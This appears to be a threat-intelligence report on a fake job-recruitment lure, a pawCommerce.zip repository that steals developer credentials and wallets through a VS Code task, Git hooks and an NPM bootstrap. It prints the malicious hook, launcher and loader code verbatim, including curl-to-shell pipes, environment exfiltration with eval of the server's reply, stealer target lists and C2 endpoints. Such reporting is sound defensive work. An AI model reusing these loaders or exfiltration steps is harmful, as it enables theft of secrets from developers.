“What was given as work concealed its blade in the hidden hooks.”

Executive Summary

This report analyzes a PawCommerce-themed developer-task lure delivered during a fake recruitment workflow. The initial contact occurred through LinkedIn, where a recruiter persona using the display name Nathaniel Nicdao asked whether the target would be open to a brief conversation and requested a CV or resume. The LinkedIn profile was later unavailable. A subsequent Google Calendar invitation used the persona Mark Harris <mark.harris.workspace@gmail[.]com>, and the development task was delivered through a OneDrive share displaying the account name Mimori Okamoto. The OneDrive page hosted a ZIP file named pawCommerce.zip.

The ZIP archive was not a benign coding challenge. Static analysis found two independent execution routes intended to activate when a developer opened or ran the project:

  1. A VS Code folder-open task that attempts to enable automatic task execution, silently runs git config core.hooksPath .github; git checkout main, and triggers .github/post-checkout.
  2. An NPM/server bootstrap path where package.json defines postinstall: npm run dev, the Express application invokes initAppBootstrap(), and a remote JSON payload is decoded and executed through Function.constructor.

The VS Code/Git hook path retrieves platform-specific launchers from tanxilabs[.]com, installs or locates Node.js, downloads env-setup.js and a package manifest into ~/.vscode or %USERPROFILE%\.vscode, exfiltrates the full runtime environment to ip-api-psi.vercel[.]app, and executes the returned JavaScript through eval(response.data). The final obfuscated JavaScript payload launches three child modules: ldbScript, autoUploadScript, and socketScript. These modules collect browser credentials and wallet artifacts, recursively upload sensitive files, monitor clipboard contents, and provide Socket.IO-based command-and-control.

The NPM/server bootstrap path decodes DEV_API_KEY into hxxps://pink-aloise-9.tiiny[.]site/index.json, sends the header x-secret-key: _, extracts the JSON field cookies, and executes it as JavaScript through new Function.constructor('require', s). This path delivers the same malware framework with a different campaign/user key.

The strongest technical anchors are:

45.61.148[.]220
45.61.148[.]220:8085
45.61.148[.]220:8086
45.61.148[.]220:8087
SuperStr0ngSecret@)@^
pid.7.1.lock
pid.7.2.lock
pid.7.3.lock
ldbScript / autoUploadScript / socketScript
ukey: 705
ukey: 706

The evidence supports high confidence that the archive is a malicious developer-task payload. The activity overlaps with public reporting on Contagious Interview / DeceptiveDevelopment-style developer targeting through fake recruitment, malicious repositories, VS Code task abuse, Node.js payloads, and credential/wallet theft. Attribution remains low-to-medium confidence: the tradecraft is consistent with DPRK-linked developer-targeting clusters, but this investigation does not contain a single artifact sufficient to attribute the activity to a specific state actor or named group.


Evidence Basis and Scope

This report is based on preserved screenshots, the original pawCommerce.zip, static repository review, Git metadata extraction, static inspection of VS Code task and Git hook artifacts, controlled HTTP retrieval of staged payloads, HTTP response headers, captured payload bodies, and controlled deobfuscation of the final Node.js payloads.

No repository hook, shell script, Windows command script, NPM package, Node.js payload, or decoded child module was executed during analysis. Network payload retrieval was performed as controlled collection from an analysis environment. The evidence package is not distributed with this public report.

Persona-use notice: references to Nathaniel Nicdao, Mark Harris, and Mimori Okamoto describe display names observed in the lure workflow. They should be treated as actor-used or actor-abused persona metadata. This report does not establish whether any real person, legitimate account holder, or third party knowingly participated in the activity.

Claims in this report are separated into three categories:

  • Directly observed: present in screenshots, the original ZIP, repository files, Git metadata, captured headers, captured response bodies, or recovered scripts.
  • Behavioral assessment: inferred from static code review and controlled deobfuscation.
  • External/campaign context: based on similarity to public reporting and previous ThreatProphet cases, not used alone as proof of attribution.

Key Findings

FindingAssessment
Initial contactLinkedIn recruitment message from persona Nathaniel Nicdao; profile later unavailable
Calendar personaMark Harris <mark.harris.workspace@gmail[.]com> through Google Calendar
Delivery platformOneDrive share displaying account name Mimori Okamoto
Delivered filepawCommerce.zip
Archive SHA-25612b7d1156bc16b49ac369eb3e4960db1594db36093bcab4131ce00353ff225f8
Repository themePetShop/PawCommerce e-commerce application
GitHub remote metadatagit@github[.]com:purity111/petshop.git
Commit actor metadatastrong <strong.business.info@gmail[.]com>; timezone +0900
Primary local triggersVS Code folder-open task; Git hook redirection; NPM postinstall; server bootstrap
VS Code artifact.vscode/settings.json attempts task.allowAutomaticTasks: "on"
VS Code task.vscode/tasks.json uses runOn: folderOpen
Git hook pathcore.hooksPath = .github
Git hook.github/post-checkout retrieves OS-specific scripts from tanxilabs[.]com
First staging domaintanxilabs[.]com
Environment exfiltration endpointip-api-psi.vercel[.]app/api/githook-encrypted/N3RlYW06
Decoded API key markerN3RlYW06 -> 7team:
Remote JSON stagingpink-aloise-9.tiiny[.]site/index.json
Final C2 IP45.61.148[.]220
C2/exfil ports8085, 8086, 8087
Payload structureldbScript, autoUploadScript, socketScript
Campaign/user keys705 for the pink-aloise bootstrap path; 706 for the Git-hook/Vercel path
Host lock filespid.7.1.lock, pid.7.2.lock, pid.7.3.lock
Final malware roleBrowser/wallet collector, recursive file stealer, clipboard monitor, Socket.IO C2, remote command capability
AttributionLow-to-medium confidence Contagious Interview / DeceptiveDevelopment-style overlap; not definitive

Attack Overview

Initial Contact

The first preserved social-engineering artifact is a LinkedIn message from a recruiter persona using the display name Nathaniel Nicdao. The message framed the contact as a technical opportunity:

I came across your experience and thought it was worth reaching out directly. We're currently developing products with some interesting technical challenges, and your background seems like a strong fit.

We're looking for people who can think both technically and strategically, and your profile suggests that combination. The role is flexible and can adapt to your availability.

Would you be open to a brief conversation to explore this? If so, feel free to share your CV or Resume.

Best regards
Nathan

The LinkedIn profile was later unavailable. This disappearance is a useful preservation note, but it should not be used as independent attribution evidence.

A later calendar invitation used Mark Harris <mark.harris.workspace@gmail[.]com>. The email headers show Google Calendar delivery and successful Gmail/Google authentication checks for the sending path. This confirms that the invitation transited Google infrastructure; it does not validate the real-world identity of Mark Harris.

During the call workflow, the target received a OneDrive link to pawCommerce.zip. The OneDrive page showed:

FieldObserved value
FilepawCommerce.zip
TypeZIP file
Displayed owner/accountMimori Okamoto
Date created2026-05-13 03:19 PM
Modified2026-05-13 03:28 PM
Size11.4 MB

The public report intentionally omits the full OneDrive URL and tokenized redeem parameter.

Archive Overview

The original ZIP metadata:

FieldValue
FilenamepawCommerce.zip
SHA-25612b7d1156bc16b49ac369eb3e4960db1594db36093bcab4131ce00353ff225f8
Size11,995,978 bytes
Total ZIP entries557
Files377
Top-level folderpawCommerce/
Earliest ZIP file timestamp2025-08-19 15:55:54
Latest ZIP file timestamp2026-05-13 21:51:24

The archive contains a full local Git repository, VS Code workspace configuration, hidden Git-hook infrastructure, an Express/React application, and a server-side bootstrapper that retrieves remote code at runtime.

Kill Chain

LinkedIn recruitment message
  -> calendar/call workflow using Mark Harris Gmail persona
  -> OneDrive-hosted pawCommerce.zip
  -> victim extracts repository
  -> route 1: opens/trusts folder in VS Code
       -> .vscode/settings.json attempts to allow automatic tasks
       -> .vscode/tasks.json runs on folderOpen
       -> task executes: git config core.hooksPath .github; git checkout main
       -> .github/post-checkout retrieves tanxilabs.com/settings/<os>?flag=6
       -> OS-specific first-stage launcher writes into .vscode
       -> bootstrap locates or installs Node.js
       -> bootstrap downloads env-setup.js and package.json
       -> env-setup.js POSTs process.env to ip-api-psi.vercel.app
       -> response.data is executed with eval()
       -> final obfuscated Node.js payload, ukey 706

  -> route 2: runs npm install / npm run dev / npm start
       -> package.json postinstall triggers npm run dev
       -> Express app loads server/app.js
       -> server/app.js invokes initAppBootstrap()
       -> bootstrap.js decodes DEV_API_KEY to pink-aloise-9.tiiny.site/index.json
       -> axios retrieves JSON with header x-secret-key: _
       -> JSON cookies field is compiled with Function.constructor
       -> final obfuscated Node.js payload, ukey 705

  -> both final payloads launch:
       -> ldbScript: browser credential and wallet collection
       -> autoUploadScript: recursive sensitive-file discovery and upload
       -> socketScript: Socket.IO C2, remote command execution, file browsing, clipboard monitoring

Technical Analysis

Stage 0A: VS Code Folder-Open Task

The repository contains .vscode/settings.json:

{
    "task.allowAutomaticTasks": "on"
}

It also contains .vscode/tasks.json with a folder-open task:

{
  "label": "Git checkout to default branch",
  "type": "shell",
  "command": "git config core.hooksPath .github; git checkout main",
  "presentation": {
    "reveal": "never",
    "echo": false,
    "focus": false,
    "close": true,
    "panel": "dedicated",
    "showReuseMessage": false,
    "clear": true
  },
  "runOptions": {
    "runOn": "folderOpen"
  },
  "problemMatcher": []
}

The task performs two important actions:

git config core.hooksPath .github
git checkout main

The first command redirects Git hooks away from the default .git/hooks/ directory into the repository-controlled .github directory. The second command immediately triggers the post-checkout hook after the hook path has been changed.

The task presentation settings suppress visibility by avoiding terminal reveal, disabling command echo, avoiding focus, closing the task panel, suppressing the reuse message, and clearing output.

Caveat: automatic execution depends on VS Code version, workspace trust state, user settings, and whether the workspace setting is honored in the target environment. Analytically, this is best described as an attempted automatic-execution path that becomes highly effective if the victim trusts the workspace.

Stage 0B: Git Hook Redirection

The extracted .git/config contains:

[core]
    repositoryformatversion = 0
    filemode = false
    bare = false
    logallrefupdates = true
    symlinks = false
    ignorecase = true
    hooksPath = .github
[remote "origin"]
    url = git@github.com:purity111/petshop.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
    remote = origin
    merge = refs/heads/main

This means the malicious hook redirection is already present in the delivered local repository, and the VS Code task reinforces it.

The active hook is .github/post-checkout:

uname_s="$(uname -s 2>/dev/null || echo unknown)"
case "$uname_s" in
  Darwin)
    curl -s 'hxxps://tanxilabs[.]com/settings/mac?flag=6' | sh >/dev/null 2>&1
    exit 0
    ;;
  Linux)
    wget -qO- 'hxxps://tanxilabs[.]com/settings/linux?flag=6' | sh >/dev/null 2>&1
    exit 0
    ;;
  MINGW*|MSYS*|CYGWIN*)
    curl -s hxxps://tanxilabs[.]com/settings/windows?flag=6 | cmd >/dev/null 2>&1
    exit 0
    ;;
  *)
    exit 0
    ;;
esac

This hook selects platform-specific payload delivery. macOS and Linux responses are piped directly to sh; Windows-like Git environments pipe the response to cmd.

The repository also contains .github/pre-commit with a comment referencing repo-root 101.js, but the referenced 101.js file was not present in the archive. This may be residue from a prior template or unused variant. It is useful as a pivot, not as a confirmed execution path in this case.

Stage 1: Platform-Specific Launchers from tanxilabs[.]com

The platform launchers were retrieved from:

PlatformURLSHA-256Role
macOShxxps://tanxilabs[.]com/settings/mac?flag=616460965b678024801d319d2142a9a39d930f72d0179bcd6a06faef6dd5b8170Downloads and launches vscode-bootstrap.sh
Linuxhxxps://tanxilabs[.]com/settings/linux?flag=69fa866547d40783d194fbce567ccef2540b3dd97ba0a865d88d819740216ae34Downloads and launches vscode-bootstrap.sh
Windowshxxps://tanxilabs[.]com/settings/windows?flag=6193fe17b9ec5af160a9a2bf2eb6db7a59665efb5c180af62b193267a757cae82Downloads and runs vscode-bootstrap.cmd

The macOS first-stage body:

#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/.vscode"
clear
curl -s -L -o "$HOME/.vscode/vscode-bootstrap.sh" "hxxps://tanxilabs[.]com/settings/bootstraplinux?flag=6"
clear
chmod +x "$HOME/.vscode/vscode-bootstrap.sh"
clear
nohup bash "$HOME/.vscode/vscode-bootstrap.sh" > /dev/null 2>&1 &
clear
exit 0

The Linux first-stage body is functionally equivalent, but uses wget:

TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" "hxxps://tanxilabs[.]com/settings/bootstraplinux?flag=6"
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
nohup bash "$TARGET_DIR/vscode-bootstrap.sh" > /dev/null 2>&1 &

The Windows first-stage body downloads and runs a CMD bootstrapper:

@echo off
set "VSCODE_DIR=%USERPROFILE%\.vscode"

if not exist "%VSCODE_DIR%" ( mkdir "%VSCODE_DIR%" )

curl -s -L -o "%VSCODE_DIR%\vscode-bootstrap.cmd" hxxps://tanxilabs[.]com/settings/bootstrap?flag=6
cls
"%VSCODE_DIR%\vscode-bootstrap.cmd"
cls

The repeated use of .vscode, clear/cls, and background execution helps the chain blend into normal developer tooling while reducing immediate visual feedback.

Stage 2A: Linux/macOS Node.js Bootstrapper

The Linux/macOS bootstrapper was retrieved from:

hxxps://tanxilabs[.]com/settings/bootstraplinux?flag=6

Hash:

2924c4d2ca90c44319a63b2cb11e192e953f8c33d451ba77e9b169e62e559df7

The script checks for global Node.js. If Node.js is missing, it downloads the latest Node.js release metadata from nodejs.org, retrieves a portable tarball, and extracts it under $HOME/.vscode.

It then downloads follow-on components:

BASE_URL="hxxps://tanxilabs[.]com"

curl -s -L -o "${USER_HOME}/env-setup.js" "${BASE_URL}/settings/env?flag=6"
curl -s -L -o "${USER_HOME}/package.json" "${BASE_URL}/settings/package"

It installs dependencies silently:

npm install --silent --no-progress --loglevel=error --fund=false

Finally, it executes the environment loader:

"$NODE_EXE" "${USER_HOME}/env-setup.js"

Legitimate nodejs.org infrastructure is used only to obtain a Node.js runtime. It should not be treated as actor-controlled infrastructure.

Stage 2B: Windows Node.js Bootstrapper

The Windows bootstrapper was retrieved from:

hxxps://tanxilabs[.]com/settings/bootstrap?flag=6

Hash:

b905367f92847d249ac08fb2e5be61adecf00f0e5f8109c282ac8570f9181de9

The script relaunches itself hidden through PowerShell:

if "%~1" neq "_restarted" powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden" & exit /b

It checks for global Node.js. If Node.js is missing, it retrieves the latest Node.js version through PowerShell, downloads the Windows x64 MSI, and extracts it as a portable runtime:

for /f "delims=" %%v in ('powershell -Command "(Invoke-RestMethod hxxps://nodejs[.]org/dist/index.json)[0].version"') do set "LATEST_VERSION=%%v"
set "NODE_MSI=node-v%NODE_VERSION%-x64.msi"
set "DOWNLOAD_URL=hxxps://nodejs[.]org/dist/v%NODE_VERSION%/%NODE_MSI%"
set "EXTRACT_DIR=%~dp0nodejs"
set "PORTABLE_NODE=%EXTRACT_DIR%\PFiles64\nodejs\node.exe"
msiexec /a "%~dp0%NODE_MSI%" /qn TARGETDIR="%EXTRACT_DIR%"

It then downloads the same follow-on environment stage and package manifest to %USERPROFILE%\.vscode, using a disguised extension for the JavaScript loader:

curl -L -o "%CODEPROFILE%\env-setup.npl" "hxxps://tanxilabs[.]com/settings/env?flag=6"
curl -L -o "%CODEPROFILE%\package.json" "hxxps://tanxilabs[.]com/settings/package"

The loader is executed with Node.js:

"%NODE_EXE%" "%CODEPROFILE%\env-setup.npl"

The .npl extension appears to be cosmetic; the body is JavaScript.

Stage 3: Environment Exfiltration and Dynamic Payload Execution

The captured env-setup.js has SHA-256:

eff1a9d27d08f058e3d5490d0b1cb6f695a77ca3bce1e7cc413b322dad25cad2

Recovered content:

const axios = require('axios');
const host = "ip-api-psi.vercel.app";
const apikey = "N3RlYW06";
axios
  .post(
    `hxxps://${host}/api/githook-encrypted/${apikey}`,
    { ...process.env },
    { headers: { "x-secret-header": "secret" } }
  )
  .then((response) => {
    eval(response.data);
    return response.data;
  })
  .catch((err) => {
    return false;
  });

The value N3RlYW06 decodes to:

7team:

This stage performs two high-risk actions:

  1. It transmits the full runtime environment through { ...process.env }.
  2. It executes the server response with eval(response.data).

The captured package manifest has SHA-256:

017cb09cabd9c909e4fb06e8c668d2f89e472e103eda5230d98761a9f998bdb5

It declares:

{
  "name": "env",
  "version": "1.0.0",
  "devDependencies": {
    "hardhat": "^2.20.2"
  },
  "dependencies": {
    "axios": "^1.10.0",
    "fs": "^0.0.1-security",
    "request": "^2.88.2",
    "clipboardy": "^4.0.0",
    "socket.io-client": "^4.8.1",
    "sql.js": "^1.13.0"
  }
}

hardhat likely provides Web3/developer-task camouflage. axios, clipboardy, socket.io-client, and sql.js align with the later environment exfiltration, clipboard access, C2, and browser database handling.

Stage 4A: Final Payload from ip-api-psi.vercel[.]app - ukey: 706

The environment-exfiltration endpoint returned a large obfuscated JavaScript payload:

hxxps://ip-api-psi.vercel[.]app/api/githook-encrypted/N3RlYW06

Hash:

6f7fa17c61c3598e3f5e4b69078e3463e7dd859760b6ea0fc76412b6249c7182

Controlled deobfuscation recovered:

Extracted moduleSHA-256Role
ldbScript0530113b0dbaef971f8753fffdc2ee121b35219176472e27eff754ee66148f5aBrowser credential, wallet, and local profile artifact collection
autoUploadScript9eda8450bec119442ce165927903b37bb706f573564c8edebc5d5e11409e0548Recursive sensitive-file discovery and exfiltration
socketScript7fc561a0568bac02e36e44328b0b600bb3843af9db84d6647065d21ec5f69becSocket.IO C2, remote command execution, file browsing/upload, clipboard monitoring

The payload sends an initial log message to:

hxxp://45.61.148[.]220:8087/api/log

Observed startup structure:

{
  "ukey": 706,
  "t": 7,
  "host": "706_<hostname>",
  "message": "Starting client",
  "level": "info"
}

It then launches child scripts through Node.js stdin execution:

node --max-old-space-size=4096 --no-warnings -

Associated lock files:

pid.7.1.lock
pid.7.2.lock
pid.7.3.lock

Stage 4B: Parallel JSON Payload from pink-aloise-9.tiiny[.]site - ukey: 705

The repository also contains an independent NPM/server bootstrap path.

package.json includes:

"postinstall": "npm run dev"

server/app.js imports and invokes:

const { initAppBootstrap } = require('./utils/bootstrap.js');
...
initAppBootstrap();

server/config/bootstrapConfig.js contains:

module.exports = {
  DEV_API_KEY: "aHR0cHM6Ly9waW5rLWFsb2lzZS05LnRpaW55LnNpdGUvaW5kZXguanNvbg==",
};

This Base64 value decodes to:

hxxps://pink-aloise-9.tiiny[.]site/index.json

server/.env contains:

DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="

Decoded values:

DEV_SECRET_KEY   -> x-secret-key
DEV_SECRET_VALUE -> _

server/utils/bootstrap.js retrieves the remote JSON, extracts the cookies field, and executes it through Function.constructor:

const src = atob(DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
const s = (await axios.get(src, { headers: { [k]: v } })).data.cookies;
const handler = new (Function.constructor)('require', s);
handler(require);

The captured JSON body has SHA-256:

0318447e756ce588c7b699f82e8dcec6f8cae100444a824bb89c98015087d184

Controlled deobfuscation recovered:

Extracted artifactSHA-256Role
Extracted obfuscated JavaScript payloadf8f7ed336e109ddeb7d2c0098f43f6d065c479325b84cfb0613b1a2d6f06b4a6Stage-1 loader
ldbScript8e16504e5e6bcefe45a9fc352ee61e1d5aed7a966434730a73a1b899208445c3Browser credential and wallet collector
autoUploadScript8c420f837a53c075b0ff57ea1a12d1cad0c8247444cb9333eb3ee865260eafc7Sensitive-file discovery and exfiltration
socketScript62f9031511106993c9b656a741391ededf78fd2b808ee55017d85941b9933d8fSocket.IO C2 and remote command component

This path uses campaign/user key 705, compared with 706 in the Git-hook/Vercel path. The shared infrastructure, child-module architecture, lock-file pattern, C2 host, C2 ports, and HMAC secret strongly support that both routes belong to the same malware framework or builder.


Payload Behavior

Child Module: ldbScript

ldbScript targets browser credentials, browser profile data, and cryptocurrency wallet artifacts across Windows, macOS, Linux, and WSL.

Targeted browser families include:

Chrome
Chromium
Brave
Microsoft Edge
Opera
Opera GX
Vivaldi
Yandex
Kiwi
Iridium
Comodo Dragon
SRWare Iron

Targeted artifacts include:

Local State
Login Data
Login Data For Account
Web Data
Local Extension Settings/*
Brave Wallet LevelDB data
macOS login.keychain-db
sysinfo.txt
s.txt

The script contains platform-specific browser credential decryption logic:

PlatformObserved behavior
WindowsDPAPI access through PowerShell and .NET System.Security.Cryptography.ProtectedData.Unprotect
LinuxAttempts secret-tool and Python secretstorage
macOSAttempts browser Safe Storage / Keychain-related access

It also supports AES-GCM encrypted Chromium credential formats.

Primary upload endpoint:

hxxp://45.61.148[.]220:8085/upload

Observed upload metadata fields include:

userkey: 705 or 706
t: 7
hostname: <encoded hostname>
timestamp: <unix timestamp>
file-metadata: <JSON metadata>
validation: <HMAC-SHA256 value>

Recovered HMAC validation secret:

SuperStr0ngSecret@)@^

Child Module: autoUploadScript

autoUploadScript performs recursive discovery and upload of sensitive files from user-accessible locations.

Targeted directories include:

Desktop
Documents
Downloads
Library/CloudStorage
Projects
projects
Development
development
Code
code
Code Projects
source
Source
OneDrive
Google Drive
GoogleDrive
/mnt

The inclusion of /mnt is significant for WSL, where Windows drives are commonly exposed under /mnt/c, /mnt/d, and similar paths.

Targeted file and path patterns include:

.env
env
config
.conf
.cfg
.ini
.yaml
.yml
.toml
metamask
phantom
wallet
bitcoin
ethereum
trust
exodus
ledger
trezor
private_key
private-key
keypair
seed
mnemonic
recovery phrase
id_rsa
id_dsa
id_ecdsa
id_ed25519
.pem
.p12
.pfx
.jks
.crt
.cer
.der
password
passwd
credentials
token
api_key
secret
.db
.sqlite
.sql
.doc
.docx
.pdf
.xls
.xlsx
.txt
.md
screenshots
notes
backups
cookies
sessions

The script skips files larger than approximately 5 MB. This likely reduces noise and focuses exfiltration on secrets, key material, wallet artifacts, and small documents.

Primary upload endpoint:

hxxp://45.61.148[.]220:8086/upload

Child Module: socketScript

socketScript provides the interactive C2 component.

C2 endpoint:

ws://45.61.148[.]220:8087

HTTP support endpoints:

hxxp://45.61.148[.]220:8087/api/log
hxxp://45.61.148[.]220:8087/api/notify

Additional file upload/retrieval endpoints:

hxxp://45.61.148[.]220:8085/api/upload-file
hxxp://45.61.148[.]220:8085/api/file/7/<host>?path=<encoded-path>

Recovered capabilities include:

Host registration
Process status reporting
Start/stop control for child scripts
Remote command execution
Directory listing
Single-file upload
Bulk upload from a directory
.env discovery and upload
Clipboard monitoring

Observed task-code references include:

102  directory listing
107  single-file upload or retrieval
108  bulk upload of immediate child files from a directory

Clipboard access methods vary by platform:

Windows: PowerShell + System.Windows.Forms.Clipboard
macOS: pbpaste
Linux: xclip or xsel
WSL: powershell.exe clipboard access

Clipboard contents are checked at roughly one-second intervals and sent to the C2 log endpoint when changed.

WSL-Aware Behavior

The payload detects Windows Subsystem for Linux through:

process.env.WSL_DISTRO_NAME
/proc/version containing "microsoft" or "wsl"

When WSL is detected, it attempts to reach Windows-side resources through:

/mnt/c/Users
cmd.exe /c echo %USERNAME%
powershell.exe

This behavior is operationally important. Developers may run unknown tasks inside WSL believing they are separated from the Windows host. This payload explicitly treats WSL and Windows as a shared compromise boundary.


Infrastructure Analysis

Staging and Delivery Infrastructure

IndicatorRoleHosting observations
onedrive.live[.]comDelivery of pawCommerce.zipOneDrive share, full URL omitted from public report
pink-aloise-9.tiiny[.]siteRemote JSON payload path for NPM/server bootstrapAmazon S3 behind CloudFront
tanxilabs[.]comOS-specific Git-hook loader infrastructureVercel/Express
ip-api-psi.vercel[.]appEnvironment exfiltration and final payload responseVercel/Express
nodejs[.]orgLegitimate Node.js runtime download sourceAbused as legitimate dependency source; not actor-controlled

The pink-aloise-9.tiiny[.]site/index.json response was served as application/json with Content-Length: 3763914, Server: AmazonS3, and CloudFront cache metadata. The object Last-Modified value was Wed, 13 May 2026 12:48:58 GMT, close to the OneDrive file timestamps and local Git reflog activity from the same date. This is useful as staging-time correlation, not as actor-location evidence.

The tanxilabs[.]com endpoints returned Vercel/Express responses with Access-Control-Allow-Origin: *, X-Powered-By: Express, and rate-limit headers. The first-stage OS selectors were small text bodies:

EndpointContent lengthBody role
/settings/mac?flag=6311 bytesmacOS first-stage shell launcher
/settings/linux?flag=6328 bytesLinux first-stage shell launcher
/settings/windows?flag=6245 bytesWindows first-stage CMD launcher
/settings/bootstraplinux?flag=65,772 bytesLinux/macOS Node.js bootstrapper
/settings/bootstrap?flag=63,720 bytesWindows Node.js bootstrapper
/settings/env?flag=6367 bytesEnvironment-exfiltration JavaScript
/settings/package384 bytesNPM package manifest

The ip-api-psi.vercel[.]app final-payload endpoint returned Content-Length: 3550092 and Content-Type: text/html; charset=utf-8. Operationally, the body is JavaScript executed by eval(response.data). The mismatch between MIME type and execution behavior is useful for detection.

Certificate transparency collection attempts returned 502 Bad Gateway HTML during this investigation and are not used as evidence.

C2 and Exfiltration Infrastructure

IndicatorRole
45.61.148[.]220:8085Browser/wallet upload, file upload, file retrieval
45.61.148[.]220:8086Sensitive-file upload
45.61.148[.]220:8087Logging, notification, Socket.IO C2

Observed endpoints:

hxxp://45.61.148[.]220:8085/upload
hxxp://45.61.148[.]220:8085/api/upload-file
hxxp://45.61.148[.]220:8085/api/file/7/<host>?path=<encoded-path>
hxxp://45.61.148[.]220:8086/upload
hxxp://45.61.148[.]220:8087/api/log
hxxp://45.61.148[.]220:8087/api/notify
ws://45.61.148[.]220:8087

Git and Repository Metadata

The local Git metadata is useful for clustering, but it should be treated as actor-controlled and low-confidence for real-world identity or location.

FieldValue
Remote URLgit@github[.]com:purity111/petshop.git
Owner/repopurity111/petshop
HEAD SHA6a76108793385bb41c703175112c0bee32848f58
Branchmain
SubjectsaveDraft
Authorstrong <strong.business.info@gmail[.]com>
Committerstrong <strong.business.info@gmail[.]com>
Author date2025-12-15T11:19:22+09:00
Commit date2025-12-15T11:19:22+09:00
Reflog time zones+0900
Additional repo marker.repo_name.txt -> parts-fml8tiqb

Reflog activity included an initial commit on 2025-12-15 and checkout events on 2026-04-24 and 2026-05-13. The 2026-05-13 checkout timestamp is close to the OneDrive file timestamp and the pink-aloise payload object’s last-modified timestamp. This correlation is useful for staging timeline reconstruction, but it is not sufficient to infer actor timezone or location.


Relationship to TP-2026-014

The closest prior ThreatProphet overlap identified during this investigation is TP-2026-014, AI-Powered RWA Finance Platform. Both cases used fake developer-recruitment workflows to deliver ZIP archives containing full local Git repositories, and both abused Git-hook execution as part of the local activation path. TP-2026-014 relied on a README instruction to run git checkout dev, which triggered .git/hooks/post-checkout; PawCommerce uses a VS Code folder-open task to run git config core.hooksPath .github; git checkout main, which redirects hooks to .github and triggers .github/post-checkout.

The payload architecture also overlaps at a meaningful level. TP-2026-014 staged payload material under $HOME/.vscode, used Node.js as the runtime, targeted browser profiles, wallet material, local secrets, and WSL/Windows context, and recovered a tri-port C2 layout on 8085, 8086, and 8087. PawCommerce uses the same broad service pattern on 45.61.148[.]220:8085, 45.61.148[.]220:8086, and 45.61.148[.]220:8087, with 8085 supporting browser/wallet and socket-driven file operations, 8086 supporting recursive sensitive-file upload, and 8087 supporting log, notify, and Socket.IO command-and-control behavior.

The overlap is therefore strongest at the execution-mechanism, payload-role, and service-layout levels: fake recruitment ZIP delivery, Git-hook execution, .vscode staging, Node.js payloading, browser/wallet/file targeting, WSL-aware behavior, and the 8085/8086/8087 infrastructure pattern. Exact infrastructure reuse is not established. TP-2026-014 used 216.126.225[.]243, while PawCommerce uses 45.61.148[.]220; payload hashes and campaign markers also differ. This should be framed as tooling-family or operator-workflow similarity, not proof that both cases were operated from the same infrastructure or by the same actor.


MITRE ATT&CK Mapping

Technique IDNameTacticNotes
T1566.002Spearphishing LinkInitial AccessRecruitment workflow used LinkedIn, Google Calendar, and OneDrive delivery
T1566.003Spearphishing via ServiceInitial AccessAbuse of legitimate social, calendar, and file-sharing services
T1204.002User Execution: Malicious FileExecutionVictim is expected to extract and run a developer task archive
T1059.001PowerShellExecutionWindows bootstrap relaunches hidden through PowerShell and uses PowerShell for download/clipboard operations
T1059.003Windows Command ShellExecutionWindows Git-hook path pipes code to cmd; Windows bootstrap is CMD script
T1059.004Unix ShellExecutionmacOS/Linux loaders are shell scripts piped to sh and launched with bash
T1059.007JavaScriptExecutionNode.js payloads execute through eval() and Function.constructor
T1027Obfuscated Files or InformationDefense EvasionFinal JavaScript payloads use heavy string encoding, runtime decoding, and anti-debugging/self-defending constructs
T1140Deobfuscate/Decode Files or InformationDefense EvasionRuntime Base64 decoding and JavaScript string decoding are required to recover execution targets
T1105Ingress Tool TransferCommand and ControlMultiple stages download scripts, package manifests, and Node.js runtime components
T1071.001Web ProtocolsCommand and ControlHTTP, HTTPS, and Socket.IO/WebSocket traffic used for staging, upload, logging, and C2
T1082System Information DiscoveryDiscoveryHostname, OS, user, and environment metadata are collected
T1083File and Directory DiscoveryDiscoveryRecursive file scanning and directory listing capabilities
T1005Data from Local SystemCollectionBrowser stores, wallet artifacts, local documents, .env files, and keys targeted
T1033System Owner/User DiscoveryDiscoveryUser and host identifiers collected for host registration
T1115Clipboard DataCollectionClipboard monitored repeatedly across Windows, macOS, Linux, and WSL
T1552.001Credentials in FilesCredential Access.env, SSH keys, private keys, tokens, API keys, wallet seeds, and config files targeted
T1555.003Credentials from Web BrowsersCredential AccessChromium-family browser credential stores and extension storage targeted
T1041Exfiltration Over C2 ChannelExfiltrationCollected files and clipboard data uploaded to actor-controlled infrastructure

Persistence note: current evidence supports background execution, retry logic, local staged-file survivability, and repository-resident re-execution. It does not show durable OS startup persistence such as cron, systemd, LaunchAgents, registry Run keys, scheduled tasks, service installation, or shell-profile modification.


Indicators of Compromise

All indicators are defanged for public reporting. Treat exact refanged values as high confidence unless the notes say otherwise.

Network Indicators

IndicatorTypeRole
onedrive.live[.]comDomainZIP delivery platform; full tokenized URL omitted
tanxilabs[.]comDomainGit-hook and bootstrap staging
hxxps://tanxilabs[.]com/settings/mac?flag=6URLmacOS first-stage launcher
hxxps://tanxilabs[.]com/settings/linux?flag=6URLLinux first-stage launcher
hxxps://tanxilabs[.]com/settings/windows?flag=6URLWindows first-stage launcher
hxxps://tanxilabs[.]com/settings/bootstraplinux?flag=6URLLinux/macOS Node.js bootstrapper
hxxps://tanxilabs[.]com/settings/bootstrap?flag=6URLWindows Node.js bootstrapper
hxxps://tanxilabs[.]com/settings/env?flag=6URLEnvironment-exfiltration JavaScript
hxxps://tanxilabs[.]com/settings/packageURLNPM package manifest
ip-api-psi.vercel[.]appDomainEnvironment exfiltration and final payload response
hxxps://ip-api-psi.vercel[.]app/api/githook-encrypted/N3RlYW06URLFinal obfuscated JS payload endpoint
pink-aloise-9.tiiny[.]siteDomainRemote JSON staging for NPM/server bootstrap path
hxxps://pink-aloise-9.tiiny[.]site/index.jsonURLJSON wrapper containing cookies payload
45.61.148[.]220IPv4Final C2 and exfiltration infrastructure
hxxp://45.61.148[.]220:8085/uploadURLBrowser/wallet upload endpoint
hxxp://45.61.148[.]220:8085/api/upload-fileURLSocket-driven file upload endpoint
hxxp://45.61.148[.]220:8085/api/file/7/<host>?path=<encoded-path>URL patternFile retrieval endpoint
